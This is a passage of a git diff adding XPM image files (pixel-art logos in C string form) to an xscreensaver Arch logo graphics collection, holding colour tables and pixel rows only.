+"% c #8B8980", +"& c #E0A000", +"* c #AAACA9", +"= c #EAAE1C", +"- c #E9BD54", +"; c #E6C26A", +"> c #CACCC8", +", c #ECD59B", +"' c #F2E7C6", +") c #E7E9E6", +"! c #F0F1ED", +" ", +" ++++++++++++++++++++++ ", +" ++++++++++++++++++++++++++++++++ ", +" ++++++++++++++++++++++++++++++++++++++++++ ", +" ++++++++++++++++$$$$$$$$@@@@@+++++++++++++++++++ ", +" +++++++++++$$,,'''''''''''''''',;--&##@@++++++++++++++ ", +" ++++++++$$,'''''''''''''''''''''''''''',;=&&#@@+++++++++++ ", +" ++++++++$,'''''''''''''''''''''''''''''''''''',-&&&#@+++++++++++ ", +" +++++++$,''''''''''''''''',,,,,,,,''''''''''''''''',;&&&#@++++++++++ ", +" ++++++$,'''''''''''',;-==&&&&&&&&&&&&&&==-;,'''''''''''',-&&&#@+++++++++ ", +" ++++++$''''''''''';-=&&&&&&&&&&&&&&&&&&&&&&&&&&=-,'''''''''!'-&&&&#@++++++++ ", +" ++++++$''''''''',-=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=;,'''''!!!';&&&&#@++++++++ ", +" +++++$'''''''',-=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=;''''!!!!';&&&&#@+++++++ ", +" +++++$'''''''';=&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&=,'''!!!!'-&&&&#@+++++++ ", +" +++++,''''''';&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;''!!!!!'=&&&&#+++++++ ", +" +++++$'''''',-&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;'!!!!!!;&&&###+++++++ ", +" ++++$,''''',-&&&&&&&&&&&&&&&&&&===----;;----====&&&&&&&&&&&&&&&&&&&&&&&&&;'!!!!!'-&####@++++++ ", +" ++++$'''''';&&&&&&&&&&&&&&===;,,'))))))))))))))'',;-==&&&&&&&&&&&&&&&&&&&&&&;'!!!!!;&#####++++++ ", +" +++++,''''',=&&&&&&&&&&&&==;,))))))))))))))))))))))))))';-=&&&&&&&&&&&&&&&&&&&&&,!!!!!'######@++++++ ", +" ++++$''''',-&&&&&&&&&&&=-,'))))))))))))))))))))))))))))))))),-=&&&&&&&&&&&&&&&&&&&-'!!!!'-######++++++ ", +" ++++$''''',&&&&&&&&&&&=;'))))))))))))))))))))))))))))))))))))))';=&&&&&&&&&&&&&&&&&&&,!!!!!,######@+++++ ", +" ++++,'''''-&&&&&&&&&&=,)))))))))))))))))))))))))))))))))))))))))))),-=&&&&&&&&&&&&&&&&&;'!!!!,######@+++++ ", +" ++++,'''',=&&&&&&&&&-,))))))))))))))))))))))))))))))))))))))))))))))))'-&&&&&&&&&&&&&&&&&&'!!!!'######@+++++ ", +" ++++,'''',&&&&&&&&&=,)))))))))))))))))))))))))))))))))))))))))))))))))))),-&&&&&&&&&&&&&&&&&,!!!!'#######+++++ ", +" ++++$''''';&&&&&&&&=,)))))))))))))))))))))))))))))))))))))))))))))))))))))))),=&&&&&&&&&&&&&&&&,!!!!'-######++++++ ", +" ++++$'',,,-&&&&&&&&-))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&&&&;!!!!'-######+++++ ", +" +++$'',,,-&&&&&&&=,))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))'=&&&&&&&&&&&&&&&-'!!!!-######+++++ ", +" +++$',,,,=&&&&&&&-))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&&&-'!!!!-######+++++ ", +" ++++',,,,=&&&&&&&,)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),=&&&&&&&&&&&&&&-'!!!'#######+++++ ", +" ++++,,,,,=&&&&&&='))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))'=&&&&&&&&&&&&&&-'!!!'#######+++++ ", +" ++++,,,,,-&&&&&&=))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))-&&&&&&&&&&&&&&-'!!!'#######+++++ ", +" ++++,,,,,-&&&&&&-))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&&-!!!!'######@+++++ ", +" ++++$,,,,-&&&&&&;))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&&;'!!!,######@+++++ ", +" +++$,,,,;&&&&&&;)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&&&,'!!!;######@++++ ", +" ++++',,,,&&&&&&;)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&&&,'!!!$######@++++ ", +" ++++,,,,,&&&&&&;)))))))))))))))))))))))))))))))))))))>>))))))))))))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&&&''!!'#######+++++ ", +" ++++$,,,,=&&&&&-))))))))))))))))))))))))))))))))>%%.........%*>)))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&=''!!,######@+++++ ", +" +++$,,,,-&&&&&-))))))))))))))))))))))))))))))>%.................*))))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&&;'!!!;#####@@++++ ", +" ++++,,,,;&&&&&=)))))))))))))))))))))))))))))>%.....................%)))))))))))))))))))))))))))))))))))))-&&&&&&&&&&&&&,'!!'#####@@+++++ ", +" ++++,,,,,=&&&&='))))))))))))))))))))))))))))*.........................*))))))))))))))))))))))))))))))))))))=&&&&&&&&&&&&=''!!,####@@@+++++ ", +" +++$,,,,-&&&&&'))))))))))))))))))))))))))))%...........................%)))))))))))))))))))))))))))))))))))'=&&&&&&&&&&&&-''!!;###@@@@++++ ", +" ++++,,,,;&&&&&;)))))))))))))))))))))))))))>..............................%))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&&,''!'###@@@@@++++ ", +" ++++$,,,,&&&&&-)))))))))))))))))))))))))))>................................%)))))))))))))))))))))))))))))))))));&&&&&&&&&&&&='''!,##@@@@@++++ ", +" ++++,,,,-&&&&&))))))))))))))))))))))))))))..................................%)))))))))))))))))))))))))))))))))))=&&&&&&&&&&&&-''!!##@@@@@@++++ ", +" ++++$,,,;&&&&&,)))))))))))))))))))))))))))%............%****%.................*))))))))))))))))))))))))))))))))))'&&&&&&&&&&&&&,''!,#@@@@@@+++++ ", +" +++$,,,,=&&&&-)))))))))))))))))))))))))))%..........%>)))))))))*...............>))))))))))))))))))))))))))))))))));&&&&&&&&&&&&='''!$#@@@@@@++++ ", +" ++++,,,,;&&&&&)))))))))))))))))))))))))))>.........%>)))))))))))))%..............)))))))))))))))))))))))))))))))))))=&&&&&&&&&&&&,''!'##@@@@@+++++ ", +" +++$,,,,=&&&&,))))))))))))))))))))))))))).........%))))))))))))))))*.............*))))))))))))))))))))))))))))))))))'&&&&&&&&&&&&='''!$#@@@@@@++++ ", +" ++++,,,,-&&&&-)))))))))))))))))))))))))))*........%))))))))))))))))))>.............)))))))))))))))))))))))))))))))))))-&&&&&&&&&&&&;''''#@@@@@@@++++ ", +" +++$,,,,&&&&&')))))))))))))))))))))))))))........%))))))))))))))))))))*............%)))))))))))))))))))))))))))))))))))=&&&&&&&&&&&='''!$@@@@@@@++++ ", +" ++++;,,,-&&&&;)))))))))))))))))))))))))))%........))))))))))))))))))))))%............)))))))))))))))))))))))))))))))))));&&&&&&&&&&&&;''',#@@@@@@@++++ ", +" ++++,,,,&&&&&))))))))))))))))))))))))))))........*)))))))))))))))))))))))............*)))))))))))))))))))))))))))))))))))=&&&&&&&&&&&='''!$@@@@@@@++++ ", +" ++++$,,,-&&&&;)))))))))))))))))))))))))))*.......%))))))))))))))))))))))))*...........%))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&;''',@@@@@@@@++++ ", +" ++++,,,,=&&&&))))))))))))))))))))))))))))........>)))))))))))))))))))))))))............>)))))))))))))))))))))))))))))))))))=&&&&&&&&&&&=''''#@@@@@@@++++ ", +" +++$,,,;&&&&;)))))))))))))))))))))))))))>........))))))))))))))))))))))))))%...........*))))))))))))))))))))))))))))))))))),&&&&&&&&&&&&,''';@@@@@@@++++ ", +" ++++;,,,=&&&&))))))))))))))))))))))))))))%.......*))))))))))))))))))))))))))>............))))))))))))))))))))))))))))))))))))=&&&&&&&&&&&-''''@@@@@@@@++++ ", +" ++++,,,;&&&&;))))))))))))))))))))))))))))........))))))))))))))))))))))))))))............))))))))))))))))))))))))))))))))))));&&&&&&&&&&&&''''$@@@@@@@++++ ", +" ++++$,,,-&&&&')))))))))))))))))))))))))))>.......%))))))))))))))))))))))))))))%...........*))))))))))))))))))))))))))))))))))))&&&&&&&&&&&&;''',@@@@@@@@+++ ", +" ++++;,,,&&&&-))))))))))))))))))))))))))))%.......*))))))))))))))))))))))))))))>...........%))))))))))))))))))))))))))))))))))));&&&&&&&&&&&=''''#@@@@@@@++++ ", +" +++$,,,;&&&&,))))))))))))))))))))))))))))........>)))))))))))))))))))))))))))))............))))))))))))))))))))))))))))))))))))'&&&&&&&&&&&&,'''$@@@@@@@++++ ", +" ++++;,,,=&&&&)))))))))))))))))))))))))))))........))))))))))))))))))))))))))))))............)))))))))))))))))))))))))))))))))))))=&&&&&&&&&&&-''',@@@@@@@@++++ ", +" ++++;,,,&&&&;))))))))))))))))))))))))))))*.......%))))))))))))))))))))))))))))))%...........>)))))))))))))))))))))))))))))))))))),&&&&&&&&&&&=''''@@@@@@@@++++ ", +" +++$,,,;&&&&'))))))))))))))))))))))))))))%.......*))))))))))))))))))))))))))))))*...........*!!!))))))))))))))))))))))))))))))))))&&&&&&&&&&&&,'''$@@@@@@@++++ ", +" +++$,,,-&&&&)))))))))))))))))))))))))))))%.......*))))))))))))))))))))))))))))))*...........%!!!!!!!!)))))))))))))))))))))))))))))-&&&&&&&&&&&-''',@@@@@@@@+++ ", +" ++++;,,,&&&&;)))))))))))))))))))))))))))))........>))))))))))))))))))))))))))!!!!>...........%!!!!!!!!!!!!))))))))))))))))))))))))),&&&&&&&&&&&=''''@@@@@@@@++++ ", +" ++++,,,;&&&&')))))))))))))))))))))))))))))........)))))))))))))))))))))))))!!!!!!)............!!!!!!!!!!!!!!)))))))))))))))))))))))'&&&&&&&&&&&&,'''#@@@@@@@++++ ", +" +++$;,,-&&&&)))))))))))))))))))))))))))))>........))))))))))))))))))))))!!!!!!!!!!............)!!!!!!!!!!!!!!!))))))))))))))))))))))=&&&&&&&&&&&;''';@@@@@@@@+++ ", +" ++++;;;;=&&&-)))))))))))))))))))))))))))))*.......%))))))))))))))))))))!!!!!!!!!!!!............>!!!!!!!!!!!!!!!!!))))))))))))))))))));&&&&&&&&&&&-''',@@@@@@@@++++ ", +" ++++;;;;&&&&,)))))))))))))))))))))))))))))%.......%)))))))))))))))))))!!!!!!!!!!!!!%...........*!!!!!!!!!!!!!!!!!!!))))))))))))))))))'&&&&&&&&&&&=''''@@@@@@@@++++ ", +" ++++;;;;&&&&')))))))))))))))))))))))))))))%.......%)))))))))))))))))!!!!!!!!!!!!!!!%...........*!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))=&&&&&&&&&&&,'''#@@@@@@@++++ ", +" +++$;;;-&&&&))))))))))))))))))))))))))))))%.......*))))))))))))))))!!!!!!!!!!!!!!!!%...........%!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))-&&&&&&&&&&&;'''$@@@@@@@@+++ ", +" +++$;;;=&&&-))))))))))))))))))))))))))))))........*))))))))))))))!!!!!!!!!!!!!!!!!!%...........%!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))));&&&&&&&&&&&-''';@@@@@@@@+++ ", +" ++++;;;;=&&&,))))))))))))))))))))))))))))))........*)))))))))))))!!!!!!!!!!!!!!!!!!!*...........%!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))),&&&&&&&&&&&=''',@@@@@@@@++++ ", +" ++++;;;;&&&&'))))))))))))))))))))))))))))))........>))))))))))))!!!!!!!!!!!!!!!!!!!!*............!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))&&&&&&&&&&&&''''@@@@@@@@++++ ", +" ++++;;;;&&&&))))))))))))))))))))))))))))))>........>)))))))))))!!!!!!!!!!!!!!!!!!!!!*............!!!!!!!!!!!))!!!!!!!!!!!!!!))))))))))))=&&&&&&&&&&&,'''@@@@@@@@++++ ", +" +++@;;;;&&&=))))))))))))))))))))))))))))))>........>)))))))))!!!!!!!!!!!!!!!!!!!!!!!*............%%%%%%%.....%!!!!!!!!!!!!!!!)))))))))))-&&&&&&&&&&&,'''$@@@@@@@++++ ", +" +++$;;;-&&&-))))))))))))))))))))))))))))))>........>))))))))!!!!!!!!!!!)>>>>***%%%%%.........................%!!!!!!!!!!!!!!!!))))))))));&&&&&&&&&&&;''';@@@@@@@@+++ ", +" +++$;;;=&&&;))))))))))))))))))))))))))))))>........>))>>>>***%%%%%%..........................................%!!!!!!!!!!!!!!!!!))))))))),&&&&&&&&&&&-''';@@@@@@@@+++ ", +" ++++-;;;=&&&,))))))))))))))))))))))))>>>>**%..................................................................%!!!!!!!!!!!!!!!!!!))))))))'&&&&&&&&&&&-''',@@@@@@@@++++ ", +" ++++;;;;=&&&'))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!)))))))'&&&&&&&&&&&=''',@@@@@@@@++++ ", +" ++++;;;;&&&&'))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!)))))))&&&&&&&&&&&=''''@@@@@@@@++++ ", +" ++++;;;;&&&&)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!))))))=&&&&&&&&&&&''''@@@@@@@@++++ ", +" ++++;;;;&&&&)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!))))))-&&&&&&&&&&&,'''#@@@@@@@++++ ", +" ++++;;;;&&&=)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!)))))-=&&&&&&&&&&,'''#@@@@@@@++++ ", +" +++@;;;;&&&=)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!))))-&&&&&&&&&&&,'''$@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!))));&=&&&&&&&&&,'''$@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!)));&&=&&&&&&&&;'''-@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!));&&&=&&&&&&&;'''-@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!));=&&=&&&&&&&;'''-@@@@@@@++++ ", +" +++$;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!),==&&=&&&&&&;''';@@@@@@@++++ ", +" +++$;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!),==&&&&&&&&&;''';@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!;===&&=&&&&&;'''-@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!;===&&&=&&&&;'''-@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!;====&&=&&&&;'''$@@@@@@@++++ ", +" +++@;;;-&&&-)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!;=====&&=&&&;'''$@@@@@@@++++ ", +" +++@;;;-&&&=)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!-=====&&=&&&,'''$@@@@@@@++++ ", +" ++++;;;;&&&=)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!-======&&&&&,'''#@@@@@@@++++ ", +" ++++;;;;&&&&)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!-======&&=&&,'''#@@@@@@@++++ ", +" ++++;;;;&&&&)))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!!=======&&&&&''''@@@@@@@@++++ ", +" ++++-;;;&&&&'))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!)========&&==''',@@@@@@@@++++ ", +" ++++-;;;=&&&'))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!'========&&==''',@@@@@@@@++++ ", +" ++++-;;;=&&&,))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!'=========&&-''',@@@@@@@@++++ ", +" +++$;;;=&&&;))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!,=========&&-''';@@@@@@@@+++ ", +" +++$;;;-&&&-))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!;=========&&;''';@@@@@@@@+++ ", +" +++@;;;-&&&=))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!-=========&&;'''$@@@@@@@++++ ", +" ++++;;;;&&&&))))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!===========&,'''#@@@@@@@++++ ", +" ++++-;;;&&&&')))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!!============''',@@@@@@@@++++ ", +" ++++-;;;=&&&,)))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!,============''',@@@@@@@@++++ ", +" +++$;;;=&&&-)))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!;===========-''';@@@@@@@@+++ ", +" +++@;;;-&&&&)))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!-===========;'''$@@@@@@@@+++ ", +" ++++;;;-&&&&'))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!!============,'''#@@@@@@@++++ ", +" ++++-;;;&&&&,))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!'============,,',@@@@@@@#++++ ", +" ++++-;;;=&&&-))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!;===========-,,,;@@@@@@@@++++ ", +" +++$;;;=&&&&))))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!!============;,,,$@@@@@@@@+++ ", +" ++++;;;-&&&&')))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!'============,,,'#@@@@@@@++++ ", +" ++++-;;;&&&&;)))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!,============,,,,#@@@@@@@++++ ", +" +++$;;;=&&&&)))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!-===========-,,,;#@@@@@@@+++ ", +" +++@;;;-&&&&'))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!!============;,,'$#@@@@@@++++ ", +" ++++;-;-&&&&;))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!,============,,,,##@@@@@#++++ ", +" ++++$--;=&&&&))))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!!============-,,,,##@@@@@@++++ ", +" +++@----&&&&,)))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!'============;,,'$##@@@@@++++ ", +" ++++----&&&&-)))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!;============,,,,###@@@@@++++ ", +" +++$---=&&&&'))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!!============-,,,,###@@@@@+++ ", +" ++++----&&&&;))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!,============,,,,$###@@@@++++ ", +" ++++----=&&&&))))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!!=============,,,,####@@@@++++ ", +" +++$----&&&&;)))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!,============;,,,;####@@@++++ ", +" ++++;---&&&&&)))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!!=============,,,,#####@@@++++ ", +" ++++$---=&&&&;))))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!,============;,,,,#####@@@++++ ", +" ++++;---&&&&&')))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!!=============,,,,$#####@@++++ ", +" ++++$---=&&&&-)))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!,============-,,,,######@@++++ ", +" ++++----&&&&&'))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!!=============,,,,$######@++++ ", +" ++++$---=&&&&-))))))))))))%..........................................................................%!!!!!!!!!!!!!!!!;============;,,,,#######@++++ ", +" ++++----&&&&&,)))))))))))%..........................................................................%!!!!!!!!!!!!!!!'=============,,,,$######@++++ ", +" ++++$----&&&&&)))))))))))%..........................................................................%!!!!!!!!!!!!!!!-============;,,,,#######@++++ ", +" ++++;---=&&&&-))))))))))%..........................................................................%!!!!!!!!!!!!!!;=============,,,,$######@++++ ", +" ++++$----&&&&&,)))))))))*%%%.......................................................................%!!!!!!!!!!!!!'=============;,,,,#######+++++ ", +" ++++;---=&&&&=)))))))))))))))))))>>>****%%%%%%....................................................%!!!!!!!!!!!!!=============-,,,,#######@++++ ", +" +++$----&&&&&-))))))))))))))))))))!!!!!!!!!!!!!!!))>>>>****%%%%%.................................%!!!!!!!!!!!!;=============,,,,;#######++++ ", +" ++++$----&&&&&;)))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))>>>****%%%%%..............%!!!!!!!!!!!,=============;,,,,#######@++++ ", +" ++++;---=&&&&&')))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))>>>*****!!!!!!!!!!'=============-,,,,$######@++++ ", +" ++++$----&&&&&&'))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!==============,,,,;#######+++++ ", +" ++++$----&&&&&=))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-=============;,,,,#######@++++ ", +" ++++$---=&&&&&-))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;=============-,,,,-######@++++ ", +" ++++$----=&&&&&-)))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;==============,,,,;#######+++++ ", +" ++++$----&&&&&&;))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,==============,,,,,#######+++++ ", +" ++++$----&&&&&&;))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,==============;,,,,#######@++++ ", +" ++++$----&&&&&&;)))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,==============;,,,,-######@++++ ", +" ++++$;---=&&&&&&-)))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;==============-,,,,;#######+++++ ", +" ++++$----=&&&&&&-))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;==============-,,,,;#######+++++ ", +" ++++$----=&&&&&&=')))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-==============-,,,,,#######+++++ ", +" ++++$----=&&&&&&='))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'================,,,,,#######+++++ ", +" ++++$----=&&&&&&&;))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,================,,,,,#######+++++ ", +" ++++$----=&&&&&&&-)))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-===============-,,,,,#######+++++ ", +" ++++$----=&&&&&&&=,))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'================-,,,,,-######+++++ ", +" ++++$----=&&&&&&&&-')))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;================-,,,,,-######+++++ ", +" +++++$----=&&&&&&&&=;))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,=================-,,,,,-######+++++ ", +" ++++$-----&&&&&&&&&=,)))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'==================;,,,,;#######+++++ ", +" ++++$;----=&&&&&&&&&=,))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'-==================;,,,,;&&#####+++++ ", +" ++++$$----=&&&&&&&&&&=,)))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,-=================&-,,,,,;&&&###@+++++ ", +" ++++$$-----=&&&&&&&&&&=;'))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';==================&&;,,,,,-&&&###@+++++ ", +" +++++$-----=&&&&&&&&&&&&=;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!',-===================&-;,,,,;-&&&&&#++++++ ", +" +++++$$-----=&&&&&&&&&&&&&=;,)!!!!!!!!!!!!!!!!!!!!!!!!!';=====================&=;;,,,,;&&&&&#@++++++ ", +" ++++$$-----=&&&&&&&&&&&&&&&&=-,,')!!!!!!!!!!!!!'',;=======================&&-;;,,,,-&&&&&#++++++ ", +" +++++$$-----=&&&&&&&&&&&&&&&&&&&&==---;;---============================&&-;;;;,,;=&&&&&@++++++ ", +" +++++$$;-----=&&&&&&&&&&&&&&&&&&&&&&&&=&&&&=======================&===-;;;;;;;-&&&&&#+++++++ ", +" +++++$$------=&&&&&&&&&&&&&&&&&&&&&&&=&&&&&=======================-;;;;;;;;=&&&&#@++++++ ", +" ++++++$$-------=&&&&&&&&&&&&&&&&&&&&&&=&&&&&===================-;;;;;;;;=&&&&#@+++++++ ", +" ++++++$$-------==&&&&&&&&&&&&&&&&&&&&&=&&&&&==============-;;;;;;;;;-&&&&&@+++++++ ", +" ++++++$$$--------==&&&&&&&&&&&&&&&&&&&&=&&&&&&========--;;;;;;;;;-&&&&#@++++++++ ", +" +++++++$$;---------==&&&&&&&&&&&&&&&&&&==&&&&&&==-;;;;;;;;;;;=&&&&#+++++++++ ", +" +++++++$$$------------===&&&&&&&&&&&&&====--;;;;;;;;;;;;-=&&&#@+++++++++ ", +" ++++++++$$;;-----------------------;;;;;;;;;;;;;;;;-===&&#++++++++++ ", +" +++++++++$$$;-----------;;;;;;;;;;;;;;;;;;;;;;-==&&#@+++++++++++ ", +" +++++++++$$$;;;--------;;;;;;;;;;;;;;;---=&&##@+++++++++++ ", +" +++++++++++++$$$;;;;;-;;;;;;;----==&##@@++++++++++++++ ", +" +++++++++++++++++++@@@@@@@@@++++++++++++++++++++ ", +" +++++++++++++++++++++++++++++++++++++++++ ", +" ++++++++++++++++++++++++++++++++ ", +" ++++++++++++++++++++ ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-2.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-2.xpm new file mode 100644 index 0000000..a0745c8 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-2.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_tango_2_xpm[] = { +"180 180 17 1", +" c None", +". c #020679", +"+ c #FD0000", +"@ c #37396B", +"# c #43395D", +"$ c #AC303D", +"% c #4D4C4B", +"& c #4E4B82", +"* c #5D5D80", +"= c #727270", +"- c #72728B", +"; c #8E908E", +"> c #B2B3AF", +", c #D2D5CC", +"' c #E8E569", +") c #FEFE0F", +"! c #EDEFEC", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================== ", +" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;======================================== ", +" 